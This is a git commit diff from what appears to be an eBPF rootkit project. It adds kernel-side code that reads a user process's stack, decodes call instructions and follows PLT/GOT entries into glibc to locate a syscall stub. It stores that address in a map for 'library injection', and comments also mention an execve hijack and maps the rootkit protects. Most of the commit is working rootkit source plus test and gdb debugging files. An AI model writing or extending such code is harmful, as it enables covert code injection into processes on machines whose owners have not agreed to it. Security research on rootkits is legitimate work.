Finished extraction of stack return address

This commit is contained in:
h3xduck
2022-03-17 13:18:19 -04:00
parent 671e2d671d
commit 9647972531
11 changed files with 9562 additions and 3155 deletions

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

View File

@@ -23,6 +23,11 @@ struct fs_open_data{ //Map value
int is_sudo;
};
struct inj_ret_address_data{ //Map value
__u32 pid;
__u64 stack_ret_address;
};
struct fs_priv_open{ //Map
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 4096);
@@ -39,6 +44,13 @@ struct exec_var_priv_hijack_active{ //Map
__type(value, __u64);
} exec_var_hijack_active SEC(".maps");
//Return addresses of syscalls in the shared library, for the library injection
struct inj_priv_ret_address{ //Map
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 4096);
__type(key, __u64); //thread group id(MSB) + pid (LSB)
__type(value, struct inj_ret_address_data);
} inj_ret_address SEC(".maps");
/*PROTECTED MAPS*/
//Any attempt to access these maps will be blocked by the rootkit if the program is not whitelisted

View File

@@ -9,8 +9,10 @@
#include <bpf/bpf_core_read.h>
#include "../../../common/constants.h"
#include "defs.h"
#define OPCODE_JUMP_BYTE_0 0xe8
#define OPCODES_SYSCALL_CALL 0
struct sys_timerfd_settime_enter_ctx {
unsigned long long unused; //Pointer to pt_regs
@@ -22,39 +24,116 @@ struct sys_timerfd_settime_enter_ctx {
struct __kernel_itimerspec *otmr;
};
static __always_inline int stack_extract_return_address(__u64 stack){
/**
* @brief Checks whether the format of the syscall is the expected one
*
* @param opcodes
* @param size
* @return 0 if correct, 1 otherwise
*/
static __always_inline int check_syscall_opcodes(__u8* opcodes){
return 0 == (opcodes[0]==0xf3
&& opcodes[1]==0x0f
&& opcodes[2]==0x1e
&& opcodes[3]==0xfa
&& opcodes[4]==0x49
&& opcodes[5]==0x89
&& opcodes[6]==0xca
&& opcodes[7]==0xb8
&& opcodes[8]==0x1e
&& opcodes[9]==0x01
&& opcodes[10]==0x00
&& opcodes[11]==0x00
&& opcodes[12]==0x0f
&& opcodes[13]==0x05);
}
static __always_inline int stack_extract_return_address_plt(__u64 stack){
//We now have a possible call instruction, we check if it starts with the correct format
__u8 *op = (__u8*)(stack - 0x5);
__u8 opcode_arr[5];
bpf_probe_read(&opcode_arr, 5*sizeof(__u8), op);
if (opcode_arr[0] != OPCODE_JUMP_BYTE_0) {
bpf_printk(" -- Failed OPCODE: %x\n", opcode_arr[0]);
return 0;
//bpf_printk(" -- Failed OPCODE: %x\n", opcode_arr[0]);
return -1;
}
bpf_printk("OPCODE: %x\n", opcode_arr[0]);
bpf_printk("OPCODE: %x\n", opcode_arr[1]);
bpf_printk("OPCODE: %x\n", opcode_arr[2]);
bpf_printk("OPCODE: %x\n", opcode_arr[3]);
bpf_printk("OPCODE: %x\n", opcode_arr[4]);
//We have localized the call instruction. We proceed to get the offset of the call.
__u32 offset;
bpf_probe_read(&offset, sizeof(__u32), &op[1]);
if(bpf_probe_read_user(&offset, sizeof(__u32), &op[1])<0){
bpf_printk("Failed to read op[1]\n");
return -1;
}
bpf_printk("OP[1]: %x\n", &op[1]);
bpf_printk("OFFSET: %x\n", offset);
__u8* call_addr = (__u8*)((op+offset+5));
bpf_printk("OFFSET8: %x\n", (__u8)offset);
bpf_printk("OP8: %x\n", (__u8*)op);
__u32 sum = (uintptr_t)(op+offset+5);
bpf_printk("SUM: %x\n", sum);
__u8* call_addr = (__u8*)(__u64)sum;
//We check which address was called. We could either be at libc already after
//following it, or in the PLT entry on the same executable as before.
__u32 call_dest;
__u64 call_opcode;
bpf_printk("CALL_ADDR: %lx\n", call_addr);
bpf_probe_read(&call_dest, sizeof(__u32), call_addr);
bpf_printk("BYTES: %llx\n", call_dest);
bpf_probe_read(&opcode_arr, 2*sizeof(__u8), call_addr);
bpf_printk("OPCODE0: %x\n", opcode_arr[0]);
bpf_printk("OPCODE1: %x\n", opcode_arr[1]);
int ret;
if ((ret = bpf_probe_read_user(&call_opcode, sizeof(__u64), call_addr)) < 0){
bpf_printk("Failed to read memory at %x, RET IS %i\n", call_addr, ret);
//call_dest = *call_addr;
//bpf_printk("DEST: %lx\n", call_dest);
return -1;
}
bpf_printk("CALL_OPCODES: %lx\n", call_opcode);
bpf_probe_read_user(&opcode_arr, 2*sizeof(__u8), call_addr);
//bpf_printk("OPCODE0: %x\n", opcode_arr[0]);
//bpf_printk("OPCODE1: %x\n", opcode_arr[1]);
if(opcode_arr[0]==0xff && opcode_arr[1]==0x25){
bpf_printk("Found PLT entry\n");
//We analyze the offset of the jump specified ff 25 XX XX XX XX
//The address to which the jump takes us should be the actual syscall setup
__u32 j_offset;
bpf_probe_read_user(&j_offset, sizeof(__u32), &call_addr[2]);
//j_offset += 6;
//We obtain the address of the jump by adding the offset + our current memory address + 6 bytes of the current instruction
__u64* j_addr = (u64*)(call_addr + j_offset + 6);
bpf_printk("JOFFSET: %x\n", j_offset);
bpf_printk("JADDR: %lx\n", j_addr);
//Now that we have the address of the jump, we proceed to get the instruction opcodes there
//However it's a bit more complex since what we have is the address in the GOT section where
//the linker will place the address inside the shared library where the function is located.
//More info in the documentation.
__u64 got_addr;
bpf_probe_read_user(&got_addr, sizeof(__u64), j_addr);
bpf_printk("GOT_ADDR: %lx\n",got_addr);
//Now that we have the address placed in the GOT section we can finally go to the function in glibc
//where the syscall resides. We read the opcodes and check that they are the ones expected
__u8 s_opcode[14];
bpf_probe_read_user(s_opcode, 14*sizeof(__u8), (void*)got_addr);
for(int ii=0; ii<14; ii++){
//bpf_printk("S_OPC %i: %x\n",ii,s_opcode[ii]);
}
if(check_syscall_opcodes(s_opcode)!=0){
bpf_printk("Not the expected syscall\n");
return -1;
}
//We got the expected syscall. We return the address at which we found it
//We put it in an internal map.
__u64 pid_tgid = bpf_get_current_pid_tgid();
__u32 pid = pid_tgid >> 32;
struct inj_ret_address_data *inj_ret_addr = (struct inj_ret_address_data*) bpf_map_lookup_elem(&inj_ret_address, &pid_tgid);
if (inj_ret_addr == NULL){
return -1;
}
struct inj_ret_address_data addr = *inj_ret_addr;
addr.pid = pid;
addr.stack_ret_address = (__u64)got_addr;
bpf_map_update_elem(&inj_ret_address, &pid_tgid, &addr, BPF_ANY);
}
return 0;
}
@@ -83,10 +162,10 @@ int sys_timerfd_settime(struct sys_timerfd_settime_enter_ctx *ctx){
__u64 address = 0;
bpf_printk("Timer %i to scan at address %lx\n", fd, scanner);
#pragma unroll
for(__u64 ii=0; ii<14; ii++){
bpf_probe_read(&address, sizeof(__u64), (void*)scanner - ii*8);
bpf_printk("stack: %lx\n", address);
stack_extract_return_address(address);
for(__u64 ii=0; ii<100; ii++){
bpf_probe_read(&address, sizeof(__u64), (void*)scanner - ii);
//bpf_printk("stack: %lx\n", address);
stack_extract_return_address_plt(address);
}
@@ -120,7 +199,7 @@ int uprobe_execute_command(struct pt_regs *ctx){
bpf_printk("Error reading instruction\n");
return -1;
}
bpf_printk("Stack: %x\n", dest_buf);
//bpf_printk("Stack: %x\n", dest_buf);
return 0;
}

View File

@@ -2,3 +2,40 @@ disass main
checksec bof
checksec
quit
disass test_time_values_injection
disass test_time_values_injection+74
b test_time_values_injection+74
b test_time_values_injection + 74
b *(test_time_values_injection + 74)
r
si
si
si
si
q
b timerfd_settime
r
context
q
disass test_time_values_injection
b *(test_time_values_injection +74)
r
si
si
q
b test_time_values_injection +74
b (test_time_values_injection +74)
b *(test_time_values_injection +74)
r
si
display/i $pc
si
si
si
q
disass test_time_values_injection
b *(test_time_values_injection +116)
r
si
si
q

View File

@@ -12,7 +12,7 @@ execve_hijack.o: execve_hijack.c $(HEADERS)
clang -g -c execve_hijack.c
execve_hijack: execve_hijack.o lib/libRawTCP_Lib.a
clang -lm -g -o execve_hijack execve_hijack.o -ldl -L. lib/libRawTCP_Lib.a
clang -lm -g -fno-plt -o execve_hijack execve_hijack.o -ldl -L. lib/libRawTCP_Lib.a
clean:
-rm -f execve_hijack.o

Binary file not shown.

View File

@@ -29,7 +29,8 @@ int test_time_values_injection(){
struct timespec now;
uint64_t exp, tot_exp;
ssize_t s;
fd = timerfd_create(CLOCK_REALTIME, 0);
if (fd == -1)
return -1;
@@ -39,6 +40,7 @@ int test_time_values_injection(){
if (timerfd_settime(fd, TFD_TIMER_ABSTIME, &new_value, NULL) == -1)
return -1;
printf("Timer %i started, address sent %llx\n", fd, (__u64)&new_value);

Binary file not shown.

View File

@@ -0,0 +1,2 @@
break *(test_time_values_injection +116)